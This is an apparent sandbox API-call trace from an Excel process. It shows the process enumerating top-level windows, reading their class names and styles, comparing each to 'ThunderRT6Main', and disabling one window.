	[0068.368] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0068.368] GetWindowThreadProcessId (in: hWnd=0x40216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.368] GetWindowLongA (hWnd=0x40216, nIndex=-16) returned 382664704
	[0068.368] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0068.368] GetWindowLongPtrA (hWnd=0x40216, nIndex=-6) returned 0x13f510000
	[0068.368] GetWindow (hWnd=0x40216, uCmd=0x2) returned 0x20268
	[0068.368] GetClassNameA (in: hWnd=0x20268, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.368] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.368] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.368] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896
	[0068.368] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0068.368] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0
	[0068.368] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a
	[0068.368] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.368] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.368] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.368] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896
	[0068.368] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0068.368] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0
	[0068.368] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x202c6
	[0068.369] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.369] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.369] GetWindowThreadProcessId (in: hWnd=0x202c6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.369] GetWindowLongA (hWnd=0x202c6, nIndex=-16) returned -1778384896
	[0068.369] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0068.369] GetWindowLongPtrA (hWnd=0x202c6, nIndex=-6) returned 0x0
	[0068.369] GetWindow (hWnd=0x202c6, uCmd=0x2) returned 0x20260
	[0068.369] GetClassNameA (in: hWnd=0x20260, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.369] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.369] GetWindowThreadProcessId (in: hWnd=0x20260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.369] GetWindowLongA (hWnd=0x20260, nIndex=-16) returned -1778384896
	[0068.369] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0068.369] GetWindowLongPtrA (hWnd=0x20260, nIndex=-6) returned 0x0
	[0068.369] GetWindow (hWnd=0x20260, uCmd=0x2) returned 0x3022a
	[0068.369] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13
	[0068.369] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1
	[0068.369] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.369] GetWindowLongA (hWnd=0x3022a, nIndex=-16) returned -2080374784
	[0068.369] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0068.369] GetWindowLongPtrA (hWnd=0x3022a, nIndex=-6) returned 0x7fef2840000
	[0068.369] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x302b2
	[0068.369] GetClassNameA (in: hWnd=0x302b2, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18
	[0068.369] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1
	[0068.369] GetWindowThreadProcessId (in: hWnd=0x302b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20
	[0068.369] GetWindow (hWnd=0x302b2, uCmd=0x2) returned 0x2028a
	[0068.369] GetClassNameA (in: hWnd=0x2028a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.369] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.369] GetWindowThreadProcessId (in: hWnd=0x2028a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb34
	[0068.369] GetWindow (hWnd=0x2028a, uCmd=0x2) returned 0x202b0
	[0068.369] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11
	[0068.369] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1
	[0068.369] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.369] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -2080374784
	[0068.369] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5d60000
	[0068.369] IsWindowEnabled (hWnd=0x202b0) returned 1
	[0068.369] GetPropA (hWnd=0x202b0, lpString=0xc13a) returned 0x0
	[0068.369] SetPropA (hWnd=0x202b0, lpString=0xc13a, hData=0x1) returned 1
	[0068.369] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0
	[0068.369] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026c
	[0068.369] GetClassNameA (in: hWnd=0x2026c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0068.369] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0068.369] GetWindowThreadProcessId (in: hWnd=0x2026c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.369] GetWindowLongA (hWnd=0x2026c, nIndex=-16) returned 1149272145
	[0068.370] GetWindow (hWnd=0x2026c, uCmd=0x2) returned 0x202d4
	[0068.370] GetClassNameA (in: hWnd=0x202d4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14
	[0068.370] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1
	[0068.370] GetWindowThreadProcessId (in: hWnd=0x202d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.370] GetWindowLongA (hWnd=0x202d4, nIndex=-16) returned -2080374784
	[0068.370] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0068.370] GetWindowLongPtrA (hWnd=0x202d4, nIndex=-6) returned 0x7feffa40000
	[0068.370] GetWindow (hWnd=0x202d4, uCmd=0x2) returned 0x101e0
	[0068.370] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0068.370] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0068.370] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.370] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704
	[0068.370] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0068.370] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f510000
	[0068.370] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a
	[0068.370] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.370] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.370] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.370] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896
	[0068.370] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0068.370] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0
	[0068.370] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c
	[0068.370] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.370] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.370] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.370] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896
	[0068.370] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0068.370] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0
	[0068.370] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e
	[0068.370] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.370] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.370] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.370] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896
	[0068.370] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0068.370] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0
	[0068.370] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210
	[0068.370] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.370] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.370] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.370] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896
	[0068.370] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0068.370] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0
	[0068.370] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10296
	[0068.370] GetClassNameA (in: hWnd=0x10296, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7
	[0068.370] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1
	[0068.370] GetWindowThreadProcessId (in: hWnd=0x10296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c
	[0068.370] GetWindow (hWnd=0x10296, uCmd=0x2) returned 0x30214
	[0068.370] GetClassNameA (in: hWnd=0x30214, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28
	[0068.370] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1
	[0068.371] GetWindowThreadProcessId (in: hWnd=0x30214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.371] GetWindowLongA (hWnd=0x30214, nIndex=-16) returned 213909504
	[0068.371] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0068.371] GetWindowLongPtrA (hWnd=0x30214, nIndex=-6) returned 0x7feef690000
	[0068.371] GetWindow (hWnd=0x30214, uCmd=0x2) returned 0x101de
	[0068.371] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.371] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.371] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.371] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352
	[0068.371] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0068.371] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0
	[0068.371] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc
	[0068.371] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.371] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.371] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.371] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352
	[0068.371] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0068.371] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0
	[0068.371] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da
	[0068.371] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.371] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.371] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.371] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352
	[0068.371] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0068.371] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0
	[0068.371] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8
	[0068.371] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29
	[0068.371] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1
	[0068.371] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.371] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352
	[0068.371] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0068.371] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0
	[0068.371] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2
	[0068.371] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6
	[0068.371] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1
	[0068.371] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.371] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248
	[0068.371] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0068.371] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f510000
	[0068.371] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x2015c
	[0068.371] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24
	[0068.371] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1
	[0068.371] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x900
	[0068.371] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x201aa
	[0068.371] GetClassNameA (in: hWnd=0x201aa, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20
	[0068.371] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1
	[0068.371] GetWindowThreadProcessId (in: hWnd=0x201aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.371] GetWindowLongA (hWnd=0x201aa, nIndex=-16) returned -2080374784
	[0068.371] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0068.372] GetWindowLongPtrA (hWnd=0x201aa, nIndex=-6) returned 0x13f510000
	[0068.372] GetWindow (hWnd=0x201aa, uCmd=0x2) returned 0x1019e
	[0068.372] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.372] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.372] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0068.372] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c
	[0068.372] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="uzbekistan_") returned 11
	[0068.372] lstrcmpA (lpString1="uzbekistan_", lpString2="ThunderRT6Main") returned 1
	[0068.372] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x830
	[0068.372] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x20206
	[0068.372] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0068.372] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0068.372] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.372] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145
	[0068.372] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4
	[0068.372] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9
	[0068.372] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1
	[0068.372] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8e8
	[0068.372] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145
	[0068.372] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10198
	[0068.372] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="trendswindow") returned 12
	[0068.372] lstrcmpA (lpString1="trendswindow", lpString2="ThunderRT6Main") returned 1
	[0068.372] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0068.372] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a
	[0068.372] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.372] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.372] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x820
	[0068.372] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194
	[0068.372] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Asin_intelligence_cls") returned 21
	[0068.372] lstrcmpA (lpString1="Asin_intelligence_cls", lpString2="ThunderRT6Main") returned -1
	[0068.372] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0068.372] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196
	[0068.372] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.372] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.372] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x810
	[0068.372] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190
	[0068.372] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="pulseagainstwin") returned 15
	[0068.372] lstrcmpA (lpString1="pulseagainstwin", lpString2="ThunderRT6Main") returned -1
	[0068.372] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0068.372] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192
	[0068.372] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.372] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.372] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90
	[0068.372] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c
	[0068.373] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Mint_wnd") returned 8
	[0068.373] lstrcmpA (lpString1="Mint_wnd", lpString2="ThunderRT6Main") returned -1
	[0068.373] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0068.373] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e
	[0068.373] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.373] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x20c
	[0068.373] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188
	[0068.373] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Spokewin") returned 8
	[0068.373] lstrcmpA (lpString1="Spokewin", lpString2="ThunderRT6Main") returned -1
	[0068.373] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0068.373] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a
	[0068.373] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.373] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f4
	[0068.373] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184
	[0068.373] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Colored_app") returned 11
	[0068.373] lstrcmpA (lpString1="Colored_app", lpString2="ThunderRT6Main") returned -1
	[0068.373] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0068.373] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186
	[0068.373] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.373] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x214
	[0068.373] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180
	[0068.373] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Showtimeswnd") returned 12
	[0068.373] lstrcmpA (lpString1="Showtimeswnd", lpString2="ThunderRT6Main") returned -1
	[0068.373] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0068.373] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x20182
	[0068.373] GetClassNameA (in: hWnd=0x20182, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.373] GetWindowThreadProcessId (in: hWnd=0x20182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x14c
	[0068.373] GetWindow (hWnd=0x20182, uCmd=0x2) returned 0x1017c
	[0068.373] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="architectural_Sweden_utils_win") returned 30
	[0068.373] lstrcmpA (lpString1="architectural_Sweden_utils_win", lpString2="ThunderRT6Main") returned -1
	[0068.373] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0068.373] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e
	[0068.373] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.373] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.373] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x678
	[0068.373] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178
	[0068.373] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="Freeze_Danish_Tropical_win") returned 26
	[0068.374] lstrcmpA (lpString1="Freeze_Danish_Tropical_win", lpString2="ThunderRT6Main") returned -1
	[0068.374] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0068.374] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a
	[0068.374] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.374] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.374] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x668
	[0068.374] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174
	[0068.374] GetClassNameA (in: hWnd=0x10174, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="goat_chrome_wnd") returned 15
	[0068.374] lstrcmpA (lpString1="goat_chrome_wnd", lpString2="ThunderRT6Main") returned -1
	[0068.374] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0068.374] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176
	[0068.374] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.374] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.374] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2b4
	[0068.374] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170
	[0068.374] GetClassNameA (in: hWnd=0x10170, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="arabiccls") returned 9
	[0068.374] lstrcmpA (lpString1="arabiccls", lpString2="ThunderRT6Main") returned -1
	[0068.374] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0068.374] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172
	[0068.374] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28c5b0, nMaxCount=64 | out: lpClassName="IME") returned 3
	[0068.374] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1
	[0068.374] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec
	[0068.374] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c
